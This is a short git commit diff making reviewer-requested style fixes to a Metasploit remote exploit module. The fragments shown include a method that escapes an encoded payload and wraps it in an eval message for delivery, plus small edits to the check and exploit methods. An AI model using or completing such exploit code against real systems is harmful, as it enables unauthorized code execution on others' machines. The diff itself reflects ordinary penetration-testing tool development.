fix reviewer comments

bug/bundler_fix
Patrick Thomas 2017-09-06 22:53:02 -07:00
parent 637b83a0ea
commit 97d08e0da4
1 changed files with 5 additions and 7 deletions

View File

@ -46,10 +46,10 @@ class MetasploitModule < Msf::Exploit::Remote
end
def make_eval_message
escaped_payload = payload.encoded.gsub(/"/, '\\"')
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
return msg_header + msg_body
escaped_payload = payload.encoded.gsub(/"/, '\\"')
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
return msg_header + msg_body
end
def check
@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Unknown
Exploit::CheckCode::Unknown
end
def exploit
@ -82,8 +82,6 @@ class MetasploitModule < Msf::Exploit::Remote
else
print_error("Got unexpected response: #{buf}")
end
handler
end
end